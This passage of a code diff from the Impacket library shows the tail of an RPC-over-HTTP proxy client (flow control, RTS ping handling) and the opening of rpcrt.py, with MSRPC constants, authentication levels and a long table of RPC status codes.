+        if len(buffer) - 2 > chunksize:
+            self.__readBuffer = buffer[chunksize + 2:]
+            buffer = buffer[:chunksize + 2]
+
+        # Checking the amt
+        if len(buffer) - 2 > amt:
+            self.__chunkLeft = chunksize - amt
+            # We may have recieved a part of a new chunk before,
+            # so the concatenation is crucual
+            self.__readBuffer = buffer[amt:] + self.__readBuffer
+
+            return buffer[:amt]
+        else:
+            # Removing CRLF
+            return buffer[:-2]
+
+    def send(self, data, forceWriteAndx=0, forceRecv=0):
+        # We don't use chunked encoding for IN channel as
+        # Microsoft software is developed this way.
+        # If you do this, it may fail.
+        self.get_socket_in().send(data)
+
+    def rpc_out_read_pkt(self, handle_rts=False):
+        while True:
+            response_data = b''
+
+            # Let's receive common RPC header and no more
+            #
+            # C706
+            # 12.4 Common Fields
+            # Header encodings differ between connectionless and connection-oriented PDUs.
+            # However, certain fields use common sets of values with a consistent
+            # interpretation across the two protocols.
+            #
+            # This MUST recv MSRPCHeader._SIZE bytes, and not MSRPCRespHeader._SIZE bytes!
+            #
+            while len(response_data) < MSRPCHeader._SIZE:
+                response_data += self.rpc_out_recv1(MSRPCHeader._SIZE - len(response_data))
+
+            response_header = MSRPCHeader(response_data)
+
+            # frag_len contains the full length of the packet for both
+            # MSRPC and RTS
+            frag_len = response_header['frag_len']
+
+            # Receiving the full pkt and no more
+            while len(response_data) < frag_len:
+               response_data += self.rpc_out_recv1(frag_len - len(response_data))
+
+            # We need to do the Flow Control procedures
+            #
+            # 3.2.1.1.4
+            # This protocol specifies that only RPC PDUs are subject to the flow control abstract data
+            # model. RTS PDUs and the HTTP request and response headers are not subject to flow control.
+            if response_header['type'] != MSRPC_RTS:
+                self.flow_control(frag_len)
+
+            if handle_rts is True and response_header['type'] == MSRPC_RTS:
+                self.handle_out_of_sequence_rts(response_data)
+            else:
+                return response_data
+
+    def recv(self, forceRecv=0, count=0):
+        return self.rpc_out_read_pkt(handle_rts=True)
+
+    def handle_out_of_sequence_rts(self, response_data):
+        packet = RTSHeader(response_data)
+
+        #print("=========== RTS PKT ===========")
+        #print("RAW: %s" % binascii.hexlify(response_data))
+        #packet.dump()
+        #
+        #pduData = packet['pduData']
+        #numberOfCommands = packet['NumberOfCommands']
+        #
+        #server_cmds = []
+        #while numberOfCommands > 0:
+        #    numberOfCommands -= 1
+        #
+        #    cmd_type = unpack('<L', pduData[:4])[0]
+        #    cmd = COMMANDS[cmd_type](pduData)
+        #    server_cmds.append(cmd)
+        #    pduData = pduData[len(cmd):]
+        #
+        #for cmd in server_cmds:
+        #    cmd.dump()
+        #print("=========== / RTS PKT ===========")
+
+        # 2.2.4.49 Ping RTS PDU
+        if packet['Flags'] == RTS_FLAG_PING:
+            # 3.2.1.2.1 PingTimer
+            #
+            # If the SendingChannel is part of a Virtual Connection in the Outbound Proxy or Client roles, the
+            # SendingChannel maintains a PingTimer that on expiration indicates a PING PDU must be sent to the
+            # receiving channel. The PING PDU is sent to the receiving channel when no data has been sent within
+            # half of the value of the KeepAliveInterval.
+
+            # As we do not do long-term connections with no data transfer,
+            # it means something on the server-side is going wrong.
+            self.rts_ping_received = True
+            LOG.error("Ping RTS PDU packet received. Is the RPC Server alive?")
+
+            # Just in case it's a long operation, let's send PING PDU to IN Channel like in xfreerdp
+            # It's better to send more than one PING packet as it only 20 bytes long
+            packet = hPing()
+            self.send(packet)
+            self.send(packet)
+        # 2.2.4.24 OUT_R1/A2 RTS PDU
+        elif packet['Flags'] == RTS_FLAG_RECYCLE_CHANNEL:
+            raise RPCProxyClientException("The server requested recycling of a virtual OUT channel, " \
+                "but this function is not supported!")
+        # Ignore all other messages, most probably flow control acknowledgments
+        else:
+            pass
+
+    def flow_control(self, frag_len):
+        self.__bytesReceived += frag_len
+        self.__receiverAvailableWindow -= frag_len
+
+        if (self.__receiverAvailableWindow < self.__availableWindowAdvertised // 2):
+            self.__receiverAvailableWindow = self.__availableWindowAdvertised
+            packet = hFlowControlAckWithDestination(FDOutProxy, self.__bytesReceived,
+                self.__availableWindowAdvertised, self.__outChannelCookie)
+            self.send(packet)
+
+    def connect(self):
+        self.create_rpc_in_channel()
+        self.create_rpc_out_channel()
+        self.create_tunnel()
+
+    def disconnect(self):
+        self.close_rpc_in_channel()
+        self.close_rpc_out_channel()
+        self.init_state()
diff --git a/impacket/dcerpc/v5/rpcrt.py b/impacket/dcerpc/v5/rpcrt.py
new file mode 100644
index 0000000..f37e66d
--- /dev/null
+++ b/impacket/dcerpc/v5/rpcrt.py
@@ -0,0 +1,1689 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Partial C706.pdf + [MS-RPCE] implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+# ToDo:
+#   [ ] Take out all the security provider stuff out of here (e.g. RPC_C_AUTHN_WINNT)
+#       and put it elsewhere. This will make the coder cleaner and easier to add
+#       more SSP (e.g. NETLOGON)
+# 
+
+import logging
+import socket
+import sys
+from binascii import unhexlify
+from Cryptodome.Cipher import ARC4
+
+from impacket import ntlm, LOG
+from impacket.structure import Structure,pack,unpack
+from impacket.krb5 import kerberosv5, gssapi
+from impacket.uuid import uuidtup_to_bin, generate, stringver_to_bin, bin_to_uuidtup
+from impacket.dcerpc.v5.dtypes import UCHAR, ULONG, USHORT
+from impacket.dcerpc.v5.ndr import NDRSTRUCT
+from impacket import hresult_errors
+from threading import Thread
+
+# MS/RPC Constants
+MSRPC_REQUEST   = 0x00
+MSRPC_PING      = 0x01
+MSRPC_RESPONSE  = 0x02
+MSRPC_FAULT     = 0x03
+MSRPC_WORKING   = 0x04
+MSRPC_NOCALL    = 0x05
+MSRPC_REJECT    = 0x06
+MSRPC_ACK       = 0x07
+MSRPC_CL_CANCEL = 0x08
+MSRPC_FACK      = 0x09
+MSRPC_CANCELACK = 0x0A
+MSRPC_BIND      = 0x0B
+MSRPC_BINDACK   = 0x0C
+MSRPC_BINDNAK   = 0x0D
+MSRPC_ALTERCTX  = 0x0E
+MSRPC_ALTERCTX_R= 0x0F
+MSRPC_AUTH3     = 0x10
+MSRPC_SHUTDOWN  = 0x11
+MSRPC_CO_CANCEL = 0x12
+MSRPC_ORPHANED  = 0x13
+MSRPC_RTS       = 0x14
+
+# MS/RPC Packet Flags
+PFC_FIRST_FRAG     = 0x01
+PFC_LAST_FRAG      = 0x02
+
+# For PDU types bind, bind_ack, alter_context, and
+# alter_context_resp, this flag MUST be interpreted as PFC_SUPPORT_HEADER_SIGN
+MSRPC_SUPPORT_SIGN  = 0x04
+
+#For the
+#remaining PDU types, this flag MUST be interpreted as PFC_PENDING_CANCEL.
+MSRPC_PENDING_CANCEL= 0x04
+
+PFC_RESERVED_1      = 0x08
+PFC_CONC_MPX        = 0x10
+PFC_DID_NOT_EXECUTE = 0x20
+PFC_MAYBE           = 0x40
+PFC_OBJECT_UUID     = 0x80
+
+# Auth Types - Security Providers
+RPC_C_AUTHN_NONE          = 0x00
+RPC_C_AUTHN_GSS_NEGOTIATE = 0x09
+RPC_C_AUTHN_WINNT         = 0x0A
+RPC_C_AUTHN_GSS_SCHANNEL  = 0x0E
+RPC_C_AUTHN_GSS_KERBEROS  = 0x10
+RPC_C_AUTHN_NETLOGON      = 0x44
+RPC_C_AUTHN_DEFAULT       = 0xFF
+
+# Auth Levels
+RPC_C_AUTHN_LEVEL_NONE          = 1
+RPC_C_AUTHN_LEVEL_CONNECT       = 2
+RPC_C_AUTHN_LEVEL_CALL          = 3
+RPC_C_AUTHN_LEVEL_PKT           = 4
+RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5
+RPC_C_AUTHN_LEVEL_PKT_PRIVACY   = 6
+
+#Reasons for rejection of a context element, included in bind_ack result reason
+rpc_provider_reason = {
+    0       : 'reason_not_specified',
+    1       : 'abstract_syntax_not_supported',
+    2       : 'proposed_transfer_syntaxes_not_supported',
+    3       : 'local_limit_exceeded',
+    4       : 'protocol_version_not_specified',
+    8       : 'authentication_type_not_recognized',
+    9       : 'invalid_checksum'
+}
+
+MSRPC_CONT_RESULT_ACCEPT = 0
+MSRPC_CONT_RESULT_USER_REJECT = 1
+MSRPC_CONT_RESULT_PROV_REJECT = 2
+
+#Results of a presentation context negotiation
+rpc_cont_def_result = {
+    0       : 'acceptance',
+    1       : 'user_rejection',
+    2       : 'provider_rejection'
+}
+
+#status codes, references:
+#https://docs.microsoft.com/windows/desktop/Rpc/rpc-return-values
+#https://msdn.microsoft.com/library/default.asp?url=/library/en-us/randz/protocol/common_return_values.asp
+#winerror.h
+#https://www.opengroup.org/onlinepubs/9629399/apdxn.htm
+
+rpc_status_codes = {
+    0x00000005 : 'rpc_s_access_denied',
+    0x00000008 : 'Authentication type not recognized',
+    0x000006D8 : 'rpc_fault_cant_perform', 
+    0x000006C6 : 'rpc_x_invalid_bound',                # the arrays bound are invalid
+    0x000006E4 : 'rpc_s_cannot_support: The requested operation is not supported.',               # some operation is not supported
+    0x000006F7 : 'rpc_x_bad_stub_data',                # the stub data is invalid, doesn't match with the IDL definition
+    0x1C010001 : 'nca_s_comm_failure',                 # unable to get response from server:
+    0x1C010002 : 'nca_s_op_rng_error',                 # bad operation number in call
+    0x1C010003 : 'nca_s_unk_if',                       # unknown interface
+    0x1C010006 : 'nca_s_wrong_boot_time',              # client passed server wrong server boot time
+    0x1C010009 : 'nca_s_you_crashed',                  # a restarted server called back a client
+    0x1C01000B : 'nca_s_proto_error',                  # someone messed up the protocol
+    0x1C010013 : 'nca_s_out_args_too_big ',            # output args too big
+    0x1C010014 : 'nca_s_server_too_busy',              # server is too busy to handle call
+    0x1C010015 : 'nca_s_fault_string_too_long',        # string argument longer than declared max len
+    0x1C010017 : 'nca_s_unsupported_type ',            # no implementation of generic operation for object
+    0x1C000001 : 'nca_s_fault_int_div_by_zero',
+    0x1C000002 : 'nca_s_fault_addr_error ',
+    0x1C000003 : 'nca_s_fault_fp_div_zero',
+    0x1C000004 : 'nca_s_fault_fp_underflow',
+    0x1C000005 : 'nca_s_fault_fp_overflow',
+    0x1C000006 : 'nca_s_fault_invalid_tag',
+    0x1C000007 : 'nca_s_fault_invalid_bound ',
+    0x1C000008 : 'nca_s_rpc_version_mismatch',
+    0x1C000009 : 'nca_s_unspec_reject ',
+    0x1C00000A : 'nca_s_bad_actid',
+    0x1C00000B : 'nca_s_who_are_you_failed',
+    0x1C00000C : 'nca_s_manager_not_entered ',
+    0x1C00000D : 'nca_s_fault_cancel',
+    0x1C00000E : 'nca_s_fault_ill_inst',
+    0x1C00000F : 'nca_s_fault_fp_error',
+    0x1C000010 : 'nca_s_fault_int_overflow',
+    0x1C000012 : 'nca_s_fault_unspec',
+    0x1C000013 : 'nca_s_fault_remote_comm_failure ',
+    0x1C000014 : 'nca_s_fault_pipe_empty ',
+    0x1C000015 : 'nca_s_fault_pipe_closed',
+    0x1C000016 : 'nca_s_fault_pipe_order ',
+    0x1C000017 : 'nca_s_fault_pipe_discipline',
+    0x1C000018 : 'nca_s_fault_pipe_comm_error',
+    0x1C000019 : 'nca_s_fault_pipe_memory',
+    0x1C00001A : 'nca_s_fault_context_mismatch ',
+    0x1C00001B : 'nca_s_fault_remote_no_memory ',
+    0x1C00001C : 'nca_s_invalid_pres_context_id',
+    0x1C00001D : 'nca_s_unsupported_authn_level',
+    0x1C00001F : 'nca_s_invalid_checksum ',
+    0x1C000020 : 'nca_s_invalid_crc',
+    0x1C000021 : 'nca_s_fault_user_defined',
+    0x1C000022 : 'nca_s_fault_tx_open_failed',
+    0x1C000023 : 'nca_s_fault_codeset_conv_error',
+    0x1C000024 : 'nca_s_fault_object_not_found ',
+    0x1C000025 : 'nca_s_fault_no_client_stub',
+    0x16c9a000 : "rpc_s_mod",
+    0x16c9a001 : "rpc_s_op_rng_error",
+    0x16c9a002 : "rpc_s_cant_create_socket",
+    0x16c9a003 : "rpc_s_cant_bind_socket",
+    0x16c9a004 : "rpc_s_not_in_call",
+    0x16c9a005 : "rpc_s_no_port",
+    0x16c9a006 : "rpc_s_wrong_boot_time",
+    0x16c9a007 : "rpc_s_too_many_sockets",
+    0x16c9a008 : "rpc_s_illegal_register",
+    0x16c9a009 : "rpc_s_cant_recv",
+    0x16c9a00a : "rpc_s_bad_pkt",
+    0x16c9a00b : "rpc_s_unbound_handle",
+    0x16c9a00c : "rpc_s_addr_in_use",
+    0x16c9a00d : "rpc_s_in_args_too_big",
+    0x16c9a00e : "rpc_s_string_too_long",
+    0x16c9a00f : "rpc_s_too_many_objects",
+    0x16c9a010 : "rpc_s_binding_has_no_auth",
+    0x16c9a011 : "rpc_s_unknown_authn_service",
+    0x16c9a012 : "rpc_s_no_memory",
+    0x16c9a013 : "rpc_s_cant_nmalloc",
+    0x16c9a014 : "rpc_s_call_faulted",
+    0x16c9a015 : "rpc_s_call_failed",
+    0x16c9a016 : "rpc_s_comm_failure",
+    0x16c9a017 : "rpc_s_rpcd_comm_failure",
+    0x16c9a018 : "rpc_s_illegal_family_rebind",
+    0x16c9a019 : "rpc_s_invalid_handle",
+    0x16c9a01a : "rpc_s_coding_error",
+    0x16c9a01b : "rpc_s_object_not_found",
+    0x16c9a01c : "rpc_s_cthread_not_found",
+    0x16c9a01d : "rpc_s_invalid_binding",
+    0x16c9a01e : "rpc_s_already_registered",
+    0x16c9a01f : "rpc_s_endpoint_not_found",
+    0x16c9a020 : "rpc_s_invalid_rpc_protseq",
+    0x16c9a021 : "rpc_s_desc_not_registered",
+    0x16c9a022 : "rpc_s_already_listening",
+    0x16c9a023 : "rpc_s_no_protseqs",
+    0x16c9a024 : "rpc_s_no_protseqs_registered",
+    0x16c9a025 : "rpc_s_no_bindings",
+    0x16c9a026 : "rpc_s_max_descs_exceeded",
+    0x16c9a027 : "rpc_s_no_interfaces",
+    0x16c9a028 : "rpc_s_invalid_timeout",
+    0x16c9a029 : "rpc_s_cant_inq_socket",
+    0x16c9a02a : "rpc_s_invalid_naf_id",
+    0x16c9a02b : "rpc_s_inval_net_addr",
+    0x16c9a02c : "rpc_s_unknown_if",
+    0x16c9a02d : "rpc_s_unsupported_type",
+    0x16c9a02e : "rpc_s_invalid_call_opt",
+    0x16c9a02f : "rpc_s_no_fault",
+    0x16c9a030 : "rpc_s_cancel_timeout",
+    0x16c9a031 : "rpc_s_call_cancelled",
+    0x16c9a032 : "rpc_s_invalid_call_handle",
+    0x16c9a033 : "rpc_s_cannot_alloc_assoc",
+    0x16c9a034 : "rpc_s_cannot_connect",
+    0x16c9a035 : "rpc_s_connection_aborted",
+    0x16c9a036 : "rpc_s_connection_closed",
+    0x16c9a037 : "rpc_s_cannot_accept",
+    0x16c9a038 : "rpc_s_assoc_grp_not_found",
+    0x16c9a039 : "rpc_s_stub_interface_error",
+    0x16c9a03a : "rpc_s_invalid_object",
+    0x16c9a03b : "rpc_s_invalid_type",
+    0x16c9a03c : "rpc_s_invalid_if_opnum",
+    0x16c9a03d : "rpc_s_different_server_instance",
+    0x16c9a03e : "rpc_s_protocol_error",
+    0x16c9a03f : "rpc_s_cant_recvmsg",
+    0x16c9a040 : "rpc_s_invalid_string_binding",
+    0x16c9a041 : "rpc_s_connect_timed_out",
+    0x16c9a042 : "rpc_s_connect_rejected",
+    0x16c9a043 : "rpc_s_network_unreachable",
+    0x16c9a044 : "rpc_s_connect_no_resources",
+    0x16c9a045 : "rpc_s_rem_network_shutdown",
+    0x16c9a046 : "rpc_s_too_many_rem_connects",
+    0x16c9a047 : "rpc_s_no_rem_endpoint",
+    0x16c9a048 : "rpc_s_rem_host_down",
+    0x16c9a049 : "rpc_s_host_unreachable",
+    0x16c9a04a : "rpc_s_access_control_info_inv",
+    0x16c9a04b : "rpc_s_loc_connect_aborted",
+    0x16c9a04c : "rpc_s_connect_closed_by_rem",
+    0x16c9a04d : "rpc_s_rem_host_crashed",
+    0x16c9a04e : "rpc_s_invalid_endpoint_format",
+    0x16c9a04f : "rpc_s_unknown_status_code",
+    0x16c9a050 : "rpc_s_unknown_mgr_type",
+    0x16c9a051 : "rpc_s_assoc_creation_failed",
+    0x16c9a052 : "rpc_s_assoc_grp_max_exceeded",
+    0x16c9a053 : "rpc_s_assoc_grp_alloc_failed",
+    0x16c9a054 : "rpc_s_sm_invalid_state",
+    0x16c9a055 : "rpc_s_assoc_req_rejected",
+    0x16c9a056 : "rpc_s_assoc_shutdown",
+    0x16c9a057 : "rpc_s_tsyntaxes_unsupported",
+    0x16c9a058 : "rpc_s_context_id_not_found",
+    0x16c9a059 : "rpc_s_cant_listen_socket",
+    0x16c9a05a : "rpc_s_no_addrs",
+    0x16c9a05b : "rpc_s_cant_getpeername",
+    0x16c9a05c : "rpc_s_cant_get_if_id",
+    0x16c9a05d : "rpc_s_protseq_not_supported",
+    0x16c9a05e : "rpc_s_call_orphaned",
+    0x16c9a05f : "rpc_s_who_are_you_failed",
+    0x16c9a060 : "rpc_s_unknown_reject",
+    0x16c9a061 : "rpc_s_type_already_registered",
+    0x16c9a062 : "rpc_s_stop_listening_disabled",
+    0x16c9a063 : "rpc_s_invalid_arg",
+    0x16c9a064 : "rpc_s_not_supported",
+    0x16c9a065 : "rpc_s_wrong_kind_of_binding",
+    0x16c9a066 : "rpc_s_authn_authz_mismatch",
+    0x16c9a067 : "rpc_s_call_queued",
+    0x16c9a068 : "rpc_s_cannot_set_nodelay",
+    0x16c9a069 : "rpc_s_not_rpc_tower",
+    0x16c9a06a : "rpc_s_invalid_rpc_protid",
+    0x16c9a06b : "rpc_s_invalid_rpc_floor",
+    0x16c9a06c : "rpc_s_call_timeout",
+    0x16c9a06d : "rpc_s_mgmt_op_disallowed",
+    0x16c9a06e : "rpc_s_manager_not_entered",
+    0x16c9a06f : "rpc_s_calls_too_large_for_wk_ep",
+    0x16c9a070 : "rpc_s_server_too_busy",
+    0x16c9a071 : "rpc_s_prot_version_mismatch",
+    0x16c9a072 : "rpc_s_rpc_prot_version_mismatch",
+    0x16c9a073 : "rpc_s_ss_no_import_cursor",
+    0x16c9a074 : "rpc_s_fault_addr_error",
+    0x16c9a075 : "rpc_s_fault_context_mismatch",
+    0x16c9a076 : "rpc_s_fault_fp_div_by_zero",
+    0x16c9a077 : "rpc_s_fault_fp_error",
+    0x16c9a078 : "rpc_s_fault_fp_overflow",
+    0x16c9a079 : "rpc_s_fault_fp_underflow",
+    0x16c9a07a : "rpc_s_fault_ill_inst",
+    0x16c9a07b : "rpc_s_fault_int_div_by_zero",
+    0x16c9a07c : "rpc_s_fault_int_overflow",
+    0x16c9a07d : "rpc_s_fault_invalid_bound",
+    0x16c9a07e : "rpc_s_fault_invalid_tag",
+    0x16c9a07f : "rpc_s_fault_pipe_closed",
+    0x16c9a080 : "rpc_s_fault_pipe_comm_error",
+    0x16c9a081 : "rpc_s_fault_pipe_discipline",
+    0x16c9a082 : "rpc_s_fault_pipe_empty",
+    0x16c9a083 : "rpc_s_fault_pipe_memory",
+    0x16c9a084 : "rpc_s_fault_pipe_order",
+    0x16c9a085 : "rpc_s_fault_remote_comm_failure",
+    0x16c9a086 : "rpc_s_fault_remote_no_memory",
+    0x16c9a087 : "rpc_s_fault_unspec",
+    0x16c9a088 : "uuid_s_bad_version",
+    0x16c9a089 : "uuid_s_socket_failure",
+    0x16c9a08a : "uuid_s_getconf_failure",
+    0x16c9a08b : "uuid_s_no_address",
+    0x16c9a08c : "uuid_s_overrun",
+    0x16c9a08d : "uuid_s_internal_error",
+    0x16c9a08e : "uuid_s_coding_error",
+    0x16c9a08f : "uuid_s_invalid_string_uuid",
+    0x16c9a090 : "uuid_s_no_memory",
+    0x16c9a091 : "rpc_s_no_more_entries",
+    0x16c9a092 : "rpc_s_unknown_ns_error",
+    0x16c9a093 : "rpc_s_name_service_unavailable",
+    0x16c9a094 : "rpc_s_incomplete_name",
+    0x16c9a095 : "rpc_s_group_not_found",
+    0x16c9a096 : "rpc_s_invalid_name_syntax",
+    0x16c9a097 : "rpc_s_no_more_members",
+    0x16c9a098 : "rpc_s_no_more_interfaces",
+    0x16c9a099 : "rpc_s_invalid_name_service",
+    0x16c9a09a : "rpc_s_no_name_mapping",
+    0x16c9a09b : "rpc_s_profile_not_found",
+    0x16c9a09c : "rpc_s_not_found",
+    0x16c9a09d : "rpc_s_no_updates",
+    0x16c9a09e : "rpc_s_update_failed",
+    0x16c9a09f : "rpc_s_no_match_exported",
+    0x16c9a0a0 : "rpc_s_entry_not_found",
+    0x16c9a0a1 : "rpc_s_invalid_inquiry_context",
+    0x16c9a0a2 : "rpc_s_interface_not_found",
+    0x16c9a0a3 : "rpc_s_group_member_not_found",
+    0x16c9a0a4 : "rpc_s_entry_already_exists",
+    0x16c9a0a5 : "rpc_s_nsinit_failure",
+    0x16c9a0a6 : "rpc_s_unsupported_name_syntax",
+    0x16c9a0a7 : "rpc_s_no_more_elements",
+    0x16c9a0a8 : "rpc_s_no_ns_permission",
+    0x16c9a0a9 : "rpc_s_invalid_inquiry_type",
+    0x16c9a0aa : "rpc_s_profile_element_not_found",
+    0x16c9a0ab : "rpc_s_profile_element_replaced",
+    0x16c9a0ac : "rpc_s_import_already_done",
+    0x16c9a0ad : "rpc_s_database_busy",
+    0x16c9a0ae : "rpc_s_invalid_import_context",
+    0x16c9a0af : "rpc_s_uuid_set_not_found",
+    0x16c9a0b0 : "rpc_s_uuid_member_not_found",
+    0x16c9a0b1 : "rpc_s_no_interfaces_exported",
+    0x16c9a0b2 : "rpc_s_tower_set_not_found",
+    0x16c9a0b3 : "rpc_s_tower_member_not_found",
+    0x16c9a0b4 : "rpc_s_obj_uuid_not_found",
+    0x16c9a0b5 : "rpc_s_no_more_bindings",
+    0x16c9a0b6 : "rpc_s_invalid_priority",
+    0x16c9a0b7 : "rpc_s_not_rpc_entry",
+    0x16c9a0b8 : "rpc_s_invalid_lookup_context",
+    0x16c9a0b9 : "rpc_s_binding_vector_full",
+    0x16c9a0ba : "rpc_s_cycle_detected",
+    0x16c9a0bb : "rpc_s_nothing_to_export",
+    0x16c9a0bc : "rpc_s_nothing_to_unexport",
+    0x16c9a0bd : "rpc_s_invalid_vers_option",
+    0x16c9a0be : "rpc_s_no_rpc_data",
+    0x16c9a0bf : "rpc_s_mbr_picked",
+    0x16c9a0c0 : "rpc_s_not_all_objs_unexported",
+    0x16c9a0c1 : "rpc_s_no_entry_name",
+    0x16c9a0c2 : "rpc_s_priority_group_done",
+    0x16c9a0c3 : "rpc_s_partial_results",
+    0x16c9a0c4 : "rpc_s_no_env_setup",
+    0x16c9a0c5 : "twr_s_unknown_sa",
+    0x16c9a0c6 : "twr_s_unknown_tower",
+    0x16c9a0c7 : "twr_s_not_implemented",
+    0x16c9a0c8 : "rpc_s_max_calls_too_small",
+    0x16c9a0c9 : "rpc_s_cthread_create_failed",
+    0x16c9a0ca : "rpc_s_cthread_pool_exists",
+    0x16c9a0cb : "rpc_s_cthread_no_such_pool",
+    0x16c9a0cc : "rpc_s_cthread_invoke_disabled",
+    0x16c9a0cd : "ept_s_cant_perform_op",
+    0x16c9a0ce : "ept_s_no_memory",
+    0x16c9a0cf : "ept_s_database_invalid",
+    0x16c9a0d0 : "ept_s_cant_create",
+    0x16c9a0d1 : "ept_s_cant_access",
+    0x16c9a0d2 : "ept_s_database_already_open",
+    0x16c9a0d3 : "ept_s_invalid_entry",
+    0x16c9a0d4 : "ept_s_update_failed",
+    0x16c9a0d5 : "ept_s_invalid_context",
+    0x16c9a0d6 : "ept_s_not_registered",
+    0x16c9a0d7 : "ept_s_server_unavailable",
+    0x16c9a0d8 : "rpc_s_underspecified_name",
+    0x16c9a0d9 : "rpc_s_invalid_ns_handle",
+    0x16c9a0da : "rpc_s_unknown_error",
+    0x16c9a0db : "rpc_s_ss_char_trans_open_fail",
+    0x16c9a0dc : "rpc_s_ss_char_trans_short_file",
+    0x16c9a0dd : "rpc_s_ss_context_damaged",
+    0x16c9a0de : "rpc_s_ss_in_null_context",
+    0x16c9a0df : "rpc_s_socket_failure",
+    0x16c9a0e0 : "rpc_s_unsupported_protect_level",
+    0x16c9a0e1 : "rpc_s_invalid_checksum",
+    0x16c9a0e2 : "rpc_s_invalid_credentials",
+    0x16c9a0e3 : "rpc_s_credentials_too_large",
+    0x16c9a0e4 : "rpc_s_call_id_not_found",
+    0x16c9a0e5 : "rpc_s_key_id_not_found",
+    0x16c9a0e6 : "rpc_s_auth_bad_integrity",
+    0x16c9a0e7 : "rpc_s_auth_tkt_expired",
+    0x16c9a0e8 : "rpc_s_auth_tkt_nyv",
+    0x16c9a0e9 : "rpc_s_auth_repeat",
+    0x16c9a0ea : "rpc_s_auth_not_us",
+    0x16c9a0eb : "rpc_s_auth_badmatch",
+    0x16c9a0ec : "rpc_s_auth_skew",
+    0x16c9a0ed : "rpc_s_auth_badaddr",
+    0x16c9a0ee : "rpc_s_auth_badversion",
+    0x16c9a0ef : "rpc_s_auth_msg_type",
+    0x16c9a0f0 : "rpc_s_auth_modified",
+    0x16c9a0f1 : "rpc_s_auth_badorder",
+    0x16c9a0f2 : "rpc_s_auth_badkeyver",
+    0x16c9a0f3 : "rpc_s_auth_nokey",
+    0x16c9a0f4 : "rpc_s_auth_mut_fail",
+    0x16c9a0f5 : "rpc_s_auth_baddirection",
+    0x16c9a0f6 : "rpc_s_auth_method",
+    0x16c9a0f7 : "rpc_s_auth_badseq",
+    0x16c9a0f8 : "rpc_s_auth_inapp_cksum",
+    0x16c9a0f9 : "rpc_s_auth_field_toolong",
+    0x16c9a0fa : "rpc_s_invalid_crc",
+    0x16c9a0fb : "rpc_s_binding_incomplete",
+    0x16c9a0fc : "rpc_s_key_func_not_allowed",
+    0x16c9a0fd : "rpc_s_unknown_stub_rtl_if_vers",
+    0x16c9a0fe : "rpc_s_unknown_ifspec_vers",
+    0x16c9a0ff : "rpc_s_proto_unsupp_by_auth",
+    0x16c9a100 : "rpc_s_authn_challenge_malformed",
+    0x16c9a101 : "rpc_s_protect_level_mismatch",
+    0x16c9a102 : "rpc_s_no_mepv",
+    0x16c9a103 : "rpc_s_stub_protocol_error",
+    0x16c9a104 : "rpc_s_class_version_mismatch",
+    0x16c9a105 : "rpc_s_helper_not_running",
+    0x16c9a106 : "rpc_s_helper_short_read",
+    0x16c9a107 : "rpc_s_helper_catatonic",
+    0x16c9a108 : "rpc_s_helper_aborted",
+    0x16c9a109 : "rpc_s_not_in_kernel",
+    0x16c9a10a : "rpc_s_helper_wrong_user",
+    0x16c9a10b : "rpc_s_helper_overflow",
+    0x16c9a10c : "rpc_s_dg_need_way_auth",
+    0x16c9a10d : "rpc_s_unsupported_auth_subtype",
+    0x16c9a10e : "rpc_s_wrong_pickle_type",
+    0x16c9a10f : "rpc_s_not_listening",
+    0x16c9a110 : "rpc_s_ss_bad_buffer",
+    0x16c9a111 : "rpc_s_ss_bad_es_action",
+    0x16c9a112 : "rpc_s_ss_wrong_es_version",
+    0x16c9a113 : "rpc_s_fault_user_defined",
+    0x16c9a114 : "rpc_s_ss_incompatible_codesets",
+    0x16c9a115 : "rpc_s_tx_not_in_transaction",
+    0x16c9a116 : "rpc_s_tx_open_failed",
+    0x16c9a117 : "rpc_s_partial_credentials",
+    0x16c9a118 : "rpc_s_ss_invalid_codeset_tag",
+    0x16c9a119 : "rpc_s_mgmt_bad_type",
+    0x16c9a11a : "rpc_s_ss_invalid_char_input",
+    0x16c9a11b : "rpc_s_ss_short_conv_buffer",
+    0x16c9a11c : "rpc_s_ss_iconv_error",
+    0x16c9a11d : "rpc_s_ss_no_compat_codeset",
+    0x16c9a11e : "rpc_s_ss_no_compat_charsets",
+    0x16c9a11f : "dce_cs_c_ok",
+    0x16c9a120 : "dce_cs_c_unknown",
+    0x16c9a121 : "dce_cs_c_notfound",
+    0x16c9a122 : "dce_cs_c_cannot_open_file",
+    0x16c9a123 : "dce_cs_c_cannot_read_file",
+    0x16c9a124 : "dce_cs_c_cannot_allocate_memory",
+    0x16c9a125 : "rpc_s_ss_cleanup_failed",
+    0x16c9a126 : "rpc_svc_desc_general",
+    0x16c9a127 : "rpc_svc_desc_mutex",
+    0x16c9a128 : "rpc_svc_desc_xmit",
+    0x16c9a129 : "rpc_svc_desc_recv",
+    0x16c9a12a : "rpc_svc_desc_dg_state",
+    0x16c9a12b : "rpc_svc_desc_cancel",
+    0x16c9a12c : "rpc_svc_desc_orphan",
+    0x16c9a12d : "rpc_svc_desc_cn_state",
+    0x16c9a12e : "rpc_svc_desc_cn_pkt",
+    0x16c9a12f : "rpc_svc_desc_pkt_quotas",
+    0x16c9a130 : "rpc_svc_desc_auth",
+    0x16c9a131 : "rpc_svc_desc_source",
+    0x16c9a132 : "rpc_svc_desc_stats",
+    0x16c9a133 : "rpc_svc_desc_mem",
+    0x16c9a134 : "rpc_svc_desc_mem_type",
+    0x16c9a135 : "rpc_svc_desc_dg_pktlog",
+    0x16c9a136 : "rpc_svc_desc_thread_id",
+    0x16c9a137 : "rpc_svc_desc_timestamp",
+    0x16c9a138 : "rpc_svc_desc_cn_errors",
+    0x16c9a139 : "rpc_svc_desc_conv_thread",
+    0x16c9a13a : "rpc_svc_desc_pid",
+    0x16c9a13b : "rpc_svc_desc_atfork",
+    0x16c9a13c : "rpc_svc_desc_cma_thread",
+    0x16c9a13d : "rpc_svc_desc_inherit",
+    0x16c9a13e : "rpc_svc_desc_dg_sockets",
+    0x16c9a13f : "rpc_svc_desc_timer",
+    0x16c9a140 : "rpc_svc_desc_threads",
+    0x16c9a141 : "rpc_svc_desc_server_call",
